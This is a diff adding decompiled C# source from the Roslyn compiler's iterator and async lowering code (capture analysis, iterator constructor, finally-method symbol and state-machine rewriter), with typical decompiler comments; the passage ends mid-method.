+++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorAndAsyncCaptureWalker.cs @@ -0,0 +1,422 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class IteratorAndAsyncCaptureWalker : DefiniteAssignmentPass +{ + private sealed class OutsideVariablesUsedInside : BoundTreeWalkerWithStackGuardWithoutRecursionOnTheLeftOfBinaryOperator + { + private readonly HashSet _localsInScope; + + private readonly IteratorAndAsyncCaptureWalker _analyzer; + + private readonly MethodSymbol _topLevelMethod; + + private readonly IteratorAndAsyncCaptureWalker _parent; + + public OutsideVariablesUsedInside(IteratorAndAsyncCaptureWalker analyzer, MethodSymbol topLevelMethod, IteratorAndAsyncCaptureWalker parent) + : base(parent._recursionDepth) + { + _analyzer = analyzer; + _topLevelMethod = topLevelMethod; + _localsInScope = new HashSet(); + _parent = parent; + } + + protected override bool ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException() + { + return _parent.ConvertInsufficientExecutionStackExceptionToCancelledByStackGuardException(); + } + + public override BoundNode VisitBlock(BoundBlock node) + { + AddVariables(node.Locals); + return base.VisitBlock(node); + } + + private void AddVariables(ImmutableArray locals) + { + ImmutableArray.Enumerator enumerator = locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + AddVariable(current); + } + } + + public override BoundNode VisitCatchBlock(BoundCatchBlock node) + { + AddVariables(node.Locals); + return base.VisitCatchBlock(node); + } + + private void AddVariable(Symbol local) + { + if ((object)local != null) + { + _localsInScope.Add(local); + } + } + + public override BoundNode VisitSequence(BoundSequence node) + { + AddVariables(node.Locals); + return base.VisitSequence(node); + } + + public override BoundNode VisitThisReference(BoundThisReference node) + { + Capture(_topLevelMethod.ThisParameter, node.Syntax); + return base.VisitThisReference(node); + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + Capture(_topLevelMethod.ThisParameter, node.Syntax); + return base.VisitBaseReference(node); + } + + public override BoundNode VisitLocal(BoundLocal node) + { + Capture(node.LocalSymbol, node.Syntax); + return base.VisitLocal(node); + } + + public override BoundNode VisitParameter(BoundParameter node) + { + Capture(node.ParameterSymbol, node.Syntax); + return base.VisitParameter(node); + } + + private void Capture(Symbol s, SyntaxNode syntax) + { + if ((object)s != null && !_localsInScope.Contains(s)) + { + _analyzer.CaptureVariable(s, syntax); + } + } + } + + private readonly OrderedSet _variablesToHoist = new OrderedSet(); + + private MultiDictionary _lazyDisallowedCaptures; + + private bool _seenYieldInCurrentTry; + + private readonly Dictionary _boundRefLocalInitializers = new Dictionary(); + + private IteratorAndAsyncCaptureWalker(CSharpCompilation compilation, MethodSymbol method, BoundNode node, HashSet initiallyAssignedVariables) + : base(compilation, method, node, EmptyStructTypeCache.CreateNeverEmpty(), trackUnassignments: true, initiallyAssignedVariables) + { + } + + public static OrderedSet Analyze(CSharpCompilation compilation, MethodSymbol method, BoundNode node, DiagnosticBag diagnostics) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Invalid comparison between Unknown and I4 + //IL_0177: Unknown result type (might be due to invalid IL or missing references) + //IL_017d: Invalid comparison between Unknown and I4 + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_0186: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Invalid comparison between Unknown and I4 + //IL_00f7: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Invalid comparison between Unknown and I4 + HashSet hashSet = UnassignedVariablesWalker.Analyze(compilation, method, node, convertInsufficientExecutionStackExceptionToCancelledByStackGuardException: true); + IteratorAndAsyncCaptureWalker iteratorAndAsyncCaptureWalker = new IteratorAndAsyncCaptureWalker(compilation, method, node, hashSet); + iteratorAndAsyncCaptureWalker._convertInsufficientExecutionStackExceptionToCancelledByStackGuardException = true; + bool badRegion = false; + iteratorAndAsyncCaptureWalker.Analyze(ref badRegion); + if (!method.IsStatic && (int)method.ContainingType.TypeKind == 10) + { + iteratorAndAsyncCaptureWalker.CaptureVariable(method.ThisParameter, node.Syntax); + } + MultiDictionary lazyDisallowedCaptures = iteratorAndAsyncCaptureWalker._lazyDisallowedCaptures; + ArrayBuilder.VariableIdentifier> val = iteratorAndAsyncCaptureWalker.variableBySlot; + if (lazyDisallowedCaptures != null) + { + foreach (KeyValuePair> item in lazyDisallowedCaptures) + { + Symbol key = item.Key; + TypeSymbol typeSymbol = (((int)key.Kind == 8) ? ((LocalSymbol)key).Type : ((ParameterSymbol)key).Type); + if (key is SynthesizedLocal synthesizedLocal && (int)synthesizedLocal.SynthesizedKind == 28) + { + diagnostics.Add(ErrorCode.ERR_ByRefTypeAndAwait, synthesizedLocal.GetFirstLocation(), synthesizedLocal.TypeWithAnnotations); + continue; + } + Enumerator enumerator2 = item.Value.GetEnumerator(); + try + { + while (enumerator2.MoveNext()) + { + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)enumerator2.Current; + diagnostics.Add(ErrorCode.ERR_SpecialByRefInLambda, ((SyntaxNode)cSharpSyntaxNode).Location, typeSymbol); + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + } + } + OrderedSet val2 = new OrderedSet(); + if ((int)((CompilationOptions)compilation.Options).OptimizationLevel != 1) + { + Enumerator.VariableIdentifier> enumerator3 = val.GetEnumerator(); + while (enumerator3.MoveNext()) + { + Symbol symbol = enumerator3.Current.Symbol; + if ((object)symbol != null && HoistInDebugBuild(symbol)) + { + val2.Add(symbol); + } + } + } + val2.AddRange((IEnumerable)iteratorAndAsyncCaptureWalker._variablesToHoist); + iteratorAndAsyncCaptureWalker.Free(); + return val2; + } + + private static bool HoistInDebugBuild(Symbol symbol) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (!(symbol is ParameterSymbol parameterSymbol)) + { + if (symbol is LocalSymbol { IsConst: false, IsPinned: false, IsRef: false } localSymbol) + { + return SynthesizedLocalKindExtensions.MustSurviveStateMachineSuspension(localSymbol.SynthesizedKind) && !localSymbol.Type.IsRestrictedType(); + } + return false; + } + return !parameterSymbol.Type.IsRestrictedType(); + } + + private void MarkLocalsUnassigned() + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < variableBySlot.Count; i++) + { + Symbol symbol = variableBySlot[i].Symbol; + if ((object)symbol == null) + { + continue; + } + SymbolKind kind = symbol.Kind; + if ((int)kind != 6) + { + if ((int)kind != 8) + { + if ((int)kind != 13) + { + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + SetSlotState(i, assigned: false); + } + else if (!((LocalSymbol)symbol).IsConst) + { + SetSlotState(i, assigned: false); + } + } + else if (!((FieldSymbol)symbol).IsConst) + { + SetSlotState(i, assigned: false); + } + } + } + + public override BoundNode VisitAwaitExpression(BoundAwaitExpression node) + { + base.VisitAwaitExpression(node); + MarkLocalsUnassigned(); + return null; + } + + public override BoundNode VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + base.VisitYieldReturnStatement(node); + MarkLocalsUnassigned(); + _seenYieldInCurrentTry = true; + return null; + } + + protected override ImmutableArray Scan(ref bool badRegion) + { + _variablesToHoist.Clear(); + _lazyDisallowedCaptures?.Clear(); + return base.Scan(ref badRegion); + } + + private void CaptureVariable(Symbol variable, SyntaxNode syntax) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + BoundExpression value; + if ((((int)variable.Kind == 8) ? ((LocalSymbol)variable).Type : ((ParameterSymbol)variable).Type).IsRestrictedType()) + { + (_lazyDisallowedCaptures ?? (_lazyDisallowedCaptures = new MultiDictionary())).Add(variable, syntax); + } + else if (_variablesToHoist.Add(variable) && variable is LocalSymbol key && _boundRefLocalInitializers.TryGetValue(key, out value)) + { + CaptureRefInitializer(value, syntax); + } + } + + private void CaptureRefInitializer(BoundExpression variableInitializer, SyntaxNode syntax) + { + if (variableInitializer is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + CaptureVariable(localSymbol, syntax); + } + else if (variableInitializer is BoundParameter boundParameter) + { + ParameterSymbol parameterSymbol = boundParameter.ParameterSymbol; + CaptureVariable(parameterSymbol, syntax); + } + else + { + if (!(variableInitializer is BoundFieldAccess boundFieldAccess)) + { + return; + } + FieldSymbol fieldSymbol = boundFieldAccess.FieldSymbol; + if ((object)fieldSymbol == null || fieldSymbol.IsStatic) + { + return; + } + NamedTypeSymbol containingType = fieldSymbol.ContainingType; + if ((object)containingType != null && containingType.IsValueType) + { + BoundExpression receiverOpt = boundFieldAccess.ReceiverOpt; + if (receiverOpt != null) + { + CaptureRefInitializer(receiverOpt, syntax); + } + } + } + } + + protected override void EnterParameter(ParameterSymbol parameter) + { + GetOrCreateSlot(parameter); + } + + protected override void ReportUnassigned(Symbol symbol, SyntaxNode node, int slot, bool skipIfUseBeforeDeclaration) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind != 6) + { + if ((int)kind != 8 && (int)kind != 13) + { + return; + } + } + else + { + symbol = GetNonMemberSymbol(slot); + } + CaptureVariable(symbol, node); + } + + protected override void VisitLvalueParameter(BoundParameter node) + { + TryHoistTopLevelParameter(node); + base.VisitLvalueParameter(node); + } + + public override BoundNode VisitParameter(BoundParameter node) + { + TryHoistTopLevelParameter(node); + return base.VisitParameter(node); + } + + private void TryHoistTopLevelParameter(BoundParameter node) + { + if (node.ParameterSymbol.ContainingSymbol == topLevelMethod) + { + CaptureVariable(node.ParameterSymbol, node.Syntax); + } + } + + public override BoundNode VisitFieldAccess(BoundFieldAccess node) + { + if (node.ReceiverOpt != null && node.ReceiverOpt.Kind == BoundKind.ThisReference) + { + ParameterSymbol thisParameter = topLevelMethod.ThisParameter; + CaptureVariable(thisParameter, node.Syntax); + } + return base.VisitFieldAccess(node); + } + + public override BoundNode VisitThisReference(BoundThisReference node) + { + CaptureVariable(topLevelMethod.ThisParameter, node.Syntax); + return base.VisitThisReference(node); + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + CaptureVariable(topLevelMethod.ThisParameter, node.Syntax); + return base.VisitBaseReference(node); + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + bool seenYieldInCurrentTry = _seenYieldInCurrentTry; + _seenYieldInCurrentTry = false; + base.VisitTryStatement(node); + _seenYieldInCurrentTry |= seenYieldInCurrentTry; + return null; + } + + protected override void VisitFinallyBlock(BoundStatement finallyBlock, ref LocalState unsetInFinally) + { + if (_seenYieldInCurrentTry) + { + new OutsideVariablesUsedInside(this, topLevelMethod, this).Visit(finallyBlock); + } + base.VisitFinallyBlock(finallyBlock, ref unsetInFinally); + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + base.VisitAssignmentOperator(node); + if (node != null && node.IsRef && node.Left is BoundLocal boundLocal) + { + LocalSymbol localSymbol = boundLocal.LocalSymbol; + if ((object)localSymbol != null && localSymbol.IsCompilerGenerated) + { + _boundRefLocalInitializers[localSymbol] = node.Right; + } + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorConstructor.cs new file mode 100644 index 0000000..878076f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorConstructor.cs @@ -0,0 +1,34 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class IteratorConstructor : SynthesizedInstanceConstructor, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly ImmutableArray _parameters; + + public override ImmutableArray Parameters => _parameters; + + public override Accessibility DeclaredAccessibility => (Accessibility)6; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => ((ISynthesizedMethodBodyImplementationSymbol)ContainingSymbol).Method; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => false; + + internal IteratorConstructor(StateMachineTypeSymbol container) + : base(container) + { + NamedTypeSymbol specialType = container.DeclaringCompilation.GetSpecialType((SpecialType)13); + _parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(specialType), 0, (RefKind)0, GeneratedNames.MakeStateMachineStateFieldName(), (ScopedKind)0)); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)70)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorFinallyMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorFinallyMethodSymbol.cs new file mode 100644 index 0000000..156e60f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorFinallyMethodSymbol.cs @@ -0,0 +1,134 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class IteratorFinallyMethodSymbol : SynthesizedInstanceMethodSymbol, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly IteratorStateMachine _stateMachineType; + + private readonly string _name; + + public override string Name => _name; + + internal override bool IsMetadataFinal => false; + + public override MethodKind MethodKind => (MethodKind)10; + + public override int Arity => 0; + + public override bool IsExtensionMethod => false; + + internal override bool HasSpecialName => false; + + internal override MethodImplAttributes ImplementationAttributes => MethodImplAttributes.IL; + + internal override bool HasDeclarativeSecurity => false; + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => null; + + internal override bool RequiresSecurityObject => false; + + public override bool HidesBaseMethodsByName => false; + + public override bool IsVararg => false; + + public override bool ReturnsVoid => true; + + public override bool IsAsync => false; + + public override RefKind RefKind => (RefKind)0; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => TypeWithAnnotations.Create(ContainingAssembly.GetSpecialType((SpecialType)6)); + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override ImmutableArray TypeArgumentsWithAnnotations => ImmutableArray.Empty; + + public override ImmutableArray TypeParameters => ImmutableArray.Empty; + + public override ImmutableArray Parameters => ImmutableArray.Empty; + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override Symbol AssociatedSymbol => null; + + internal override CallingConvention CallingConvention => (CallingConvention)32; + + internal override bool GenerateDebugInfo => true; + + public override Symbol ContainingSymbol => _stateMachineType; + + public override ImmutableArray Locations => ContainingType.Locations; + + public override Accessibility DeclaredAccessibility => (Accessibility)1; + + public override bool IsStatic => false; + + public override bool IsVirtual => false; + + public override bool IsOverride => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + public override bool IsExtern => false; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => (IMethodSymbolInternal)(object)_stateMachineType.KickoffMethod; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => true; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/IteratorRewriter/IteratorFinallyMethodSymbol.cs", 259); + } + } + + public IteratorFinallyMethodSymbol(IteratorStateMachine stateMachineType, string name) + { + _stateMachineType = stateMachineType; + _name = name; + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + public override DllImportData GetDllImportData() + { + return null; + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/IteratorRewriter/IteratorFinallyMethodSymbol.cs", 107); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + return _stateMachineType.KickoffMethod.CalculateLocalSyntaxOffset(localPosition, localTree); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorMethodToStateMachineRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorMethodToStateMachineRewriter.cs new file mode 100644 index 0000000..ce0ee33 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/IteratorMethodToStateMachineRewriter.cs @@ -0,0 +1,417 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class IteratorMethodToStateMachineRewriter : MethodToStateMachineRewriter +{ + private sealed class IteratorFinallyFrame + { + public readonly StateMachineState finalizeState; + + public readonly IteratorFinallyFrame parent; + + public readonly IteratorFinallyMethodSymbol handler; + + public Dictionary knownStates; + + public readonly HashSet labels; + + public Dictionary proxyLabels; + + public IteratorFinallyFrame(IteratorFinallyFrame parent, StateMachineState finalizeState, IteratorFinallyMethodSymbol handler, HashSet labels) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + this.parent = parent; + this.finalizeState = finalizeState; + this.handler = handler; + this.labels = labels; + } + + public IteratorFinallyFrame() + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + finalizeState = (StateMachineState)(-1); + } + + public bool IsRoot() + { + return parent == null; + } + + public void AddState(StateMachineState state) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (parent != null) + { + parent.AddState(state, this); + } + } + + private void AddState(StateMachineState state, IteratorFinallyFrame innerHandler) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + Dictionary dictionary = knownStates; + if (dictionary == null) + { + dictionary = (knownStates = new Dictionary()); + } + dictionary.Add(state, innerHandler); + if (parent != null) + { + parent.AddState(state, this); + } + } + + public LabelSymbol ProxyLabelIfNeeded(LabelSymbol label) + { + if (IsRoot() || (labels != null && labels.Contains(label))) + { + return label; + } + Dictionary dictionary = proxyLabels; + if (dictionary == null) + { + dictionary = (proxyLabels = new Dictionary()); + } + if (!dictionary.TryGetValue(label, out var value)) + { + value = new GeneratedLabelSymbol("proxy" + label.Name); + dictionary.Add(label, value); + } + return value; + } + } + + private sealed class YieldsInTryAnalysis : LabelCollector + { + private Dictionary> _labelsInYieldingTrys; + + private bool _seenYield; + + public YieldsInTryAnalysis(BoundStatement body) + { + _seenYield = false; + Visit(body); + } + + public bool ContainsYields(BoundTryStatement statement) + { + if (_labelsInYieldingTrys != null) + { + return _labelsInYieldingTrys.ContainsKey(statement); + } + return false; + } + + public bool ContainsYieldsInTrys() + { + return _labelsInYieldingTrys != null; + } + + internal HashSet Labels(BoundTryStatement statement) + { + return _labelsInYieldingTrys[statement]; + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + bool seenYield = _seenYield; + HashSet hashSet = currentLabels; + _seenYield = false; + currentLabels = null; + base.VisitTryStatement(node); + if (_seenYield) + { + Dictionary> dictionary = _labelsInYieldingTrys; + if (dictionary == null) + { + dictionary = (_labelsInYieldingTrys = new Dictionary>()); + } + dictionary.Add(node, currentLabels); + currentLabels = hashSet; + } + else if (currentLabels == null) + { + currentLabels = hashSet; + } + else if (hashSet != null) + { + currentLabels.UnionWith(hashSet); + } + _seenYield |= seenYield; + return null; + } + + public override BoundNode VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + _seenYield = true; + return base.VisitYieldReturnStatement(node); + } + + public override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + return null; + } + } + + private readonly FieldSymbol _current; + + private YieldsInTryAnalysis? _yieldsInTryAnalysis; + + private int _tryNestingLevel; + + private LabelSymbol? _exitLabel; + + private LocalSymbol? _methodValue; + + private IteratorFinallyFrame _currentFinallyFrame = new IteratorFinallyFrame(); + + private StateMachineState _nextFinalizeState; + + protected override string EncMissingStateMessage => CodeAnalysisResources.EncCannotResumeSuspendedIteratorMethod; + + protected override StateMachineState FirstIncreasingResumableState => (StateMachineState)1; + + internal IteratorMethodToStateMachineRewriter(SyntheticBoundNodeFactory F, MethodSymbol originalMethod, FieldSymbol state, FieldSymbol current, FieldSymbol? instanceIdField, IReadOnlySet hoistedVariables, IReadOnlyDictionary nonReusableLocalProxies, SynthesizedLocalOrdinalsDispenser synthesizedLocalOrdinals, ArrayBuilder stateMachineStateDebugInfoBuilder, VariableSlotAllocator slotAllocatorOpt, int nextFreeHoistedLocalSlot, BindingDiagnosticBag diagnostics) + : base(F, originalMethod, state, instanceIdField, hoistedVariables, nonReusableLocalProxies, synthesizedLocalOrdinals, stateMachineStateDebugInfoBuilder, slotAllocatorOpt, nextFreeHoistedLocalSlot, diagnostics) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + _current = current; + _nextFinalizeState = (StateMachineState)(((int?)((slotAllocatorOpt != null) ? slotAllocatorOpt.GetFirstUnusedStateMachineState(false) : ((StateMachineState?)null))) ?? (-3)); + } + + internal void GenerateMoveNextAndDispose(BoundStatement body, SynthesizedImplementationMethod moveNextMethod, SynthesizedImplementationMethod disposeMethod) + { + _yieldsInTryAnalysis = new YieldsInTryAnalysis(body); + if (_yieldsInTryAnalysis.ContainsYieldsInTrys()) + { + _tryNestingLevel++; + } + F.CurrentFunction = moveNextMethod; + AddState((StateMachineState)0, out GeneratedLabelSymbol resumeLabel); + BoundStatement boundStatement = (BoundStatement)Visit(body); + boundStatement = F.Block(((object)cachedThis == null) ? ImmutableArray.Create(cachedState) : ImmutableArray.Create(cachedState, cachedThis), F.HiddenSequencePoint(), F.Assignment(F.Local(cachedState), F.Field(F.This(), stateField)), CacheThisIfNeeded(), Dispatch(isOutermost: true), GenerateReturn(finished: true), F.Label(resumeLabel), F.Assignment(F.Field(F.This(), stateField), F.Literal((StateMachineState)(-1))), boundStatement); + if (_yieldsInTryAnalysis.ContainsYieldsInTrys()) + { + BoundBlock faultBlock = F.Block(F.ExpressionStatement(F.Call(F.This(), disposeMethod))); + boundStatement = F.Fault((BoundBlock)boundStatement, faultBlock); + } + boundStatement = F.SequencePoint(body.Syntax, HandleReturn(boundStatement)); + if (instrumentation != null) + { + boundStatement = F.Block(ImmutableArray.Create(instrumentation.Local), instrumentation.Prologue, F.Try(F.Block(boundStatement), ImmutableArray.Empty, F.Block(instrumentation.Epilogue))); + } + F.CloseMethod(boundStatement); + F.CurrentFunction = disposeMethod; + IteratorFinallyFrame currentFinallyFrame = _currentFinallyFrame; + if (currentFinallyFrame.knownStates == null) + { + F.CloseMethod(F.Return()); + return; + } + LocalSymbol localSymbol = F.SynthesizedLocal(stateField.Type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + BoundLocal state = F.Local(localSymbol); + BoundBlock body2 = F.Block(ImmutableArray.Create(localSymbol), F.Assignment(F.Local(localSymbol), F.Field(F.This(), stateField)), EmitFinallyFrame(currentFinallyFrame, state), F.Return()); + F.CloseMethod(body2); + } + + private BoundBlock HandleReturn(BoundStatement newBody) + { + if ((object)_exitLabel == null) + { + return F.Block(newBody, F.Return(F.Literal(value: false))); + } + return F.Block(ImmutableArray.Create(_methodValue), newBody, F.Assignment(F.Local(_methodValue), F.Literal(value: true)), F.Label(_exitLabel), F.Return(F.Local(_methodValue))); + } + + private BoundStatement EmitFinallyFrame(IteratorFinallyFrame frame, BoundLocal state) + { + BoundStatement boundStatement = null; + if (frame.knownStates != null) + { + GeneratedLabelSymbol breakLabel = F.GenerateLabel("break"); + IEnumerable items = from g in frame.knownStates.GroupBy(delegate(KeyValuePair ft) + { + KeyValuePair keyValuePair = ft; + return keyValuePair.Value; + }, delegate(KeyValuePair ft) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + KeyValuePair keyValuePair = ft; + return keyValuePair.Key; + }) + select F.SwitchSection(EnumerableExtensions.SelectAsArray((IEnumerable)g, (Func)((StateMachineState val) => (int)val)), EmitFinallyFrame(g.Key, state), F.Goto(breakLabel)); + boundStatement = F.Block(F.Switch(state, items.ToImmutableArray()), F.Label(breakLabel)); + } + if (!frame.IsRoot()) + { + BoundBlock tryBlock = ((boundStatement != null) ? F.Block(boundStatement) : F.Block()); + boundStatement = F.Try(tryBlock, ImmutableArray.Empty, F.Block(F.ExpressionStatement(F.Call(F.This(), frame.handler)))); + } + return boundStatement; + } + + protected override BoundStatement GenerateReturn(bool finished) + { + BoundLiteral boundLiteral = F.Literal(!finished); + if (_tryNestingLevel == 0) + { + return F.Return(boundLiteral); + } + if ((object)_exitLabel == null) + { + _exitLabel = F.GenerateLabel("exitLabel"); + _methodValue = F.SynthesizedLocal(boundLiteral.Type, null, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)(-2)); + } + BoundGotoStatement boundGotoStatement = F.Goto(_exitLabel); + if (finished) + { + boundGotoStatement = (BoundGotoStatement)VisitGotoStatement(boundGotoStatement); + } + return F.Block(F.Assignment(F.Local(_methodValue), boundLiteral), boundGotoStatement); + } + + public override BoundNode VisitYieldBreakStatement(BoundYieldBreakStatement node) + { + return GenerateReturn(finished: true); + } + + public override BoundNode VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00fe: Unknown result type (might be due to invalid IL or missing references) + AddResumableState(node.Syntax, default(AwaitDebugId), out StateMachineState state, out GeneratedLabelSymbol resumeLabel); + _currentFinallyFrame.AddState(state); + BoundExpression right = (BoundExpression)Visit(node.Expression); + return F.Block(F.Assignment(F.Field(F.This(), _current), right), F.Assignment(F.Field(F.This(), stateField), F.Literal(state)), GenerateReturn(finished: false), F.Label(resumeLabel), F.HiddenSequencePoint(), F.Assignment(F.Field(F.This(), stateField), F.Literal(_currentFinallyFrame.finalizeState))); + } + + public override BoundNode VisitGotoStatement(BoundGotoStatement node) + { + BoundExpression caseExpressionOpt = (BoundExpression)Visit(node.CaseExpressionOpt); + BoundLabel labelExpressionOpt = (BoundLabel)Visit(node.LabelExpressionOpt); + LabelSymbol label = _currentFinallyFrame.ProxyLabelIfNeeded(node.Label); + return node.Update(label, caseExpressionOpt, labelExpressionOpt); + } + + public override BoundNode VisitConditionalGoto(BoundConditionalGoto node) + { + return base.VisitConditionalGoto(node); + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + if (!ContainsYields(node)) + { + _tryNestingLevel++; + BoundTryStatement result = node.Update((BoundBlock)Visit(node.TryBlock), VisitList(node.CatchBlocks), (BoundBlock)Visit(node.FinallyBlockOpt), node.FinallyLabelOpt, 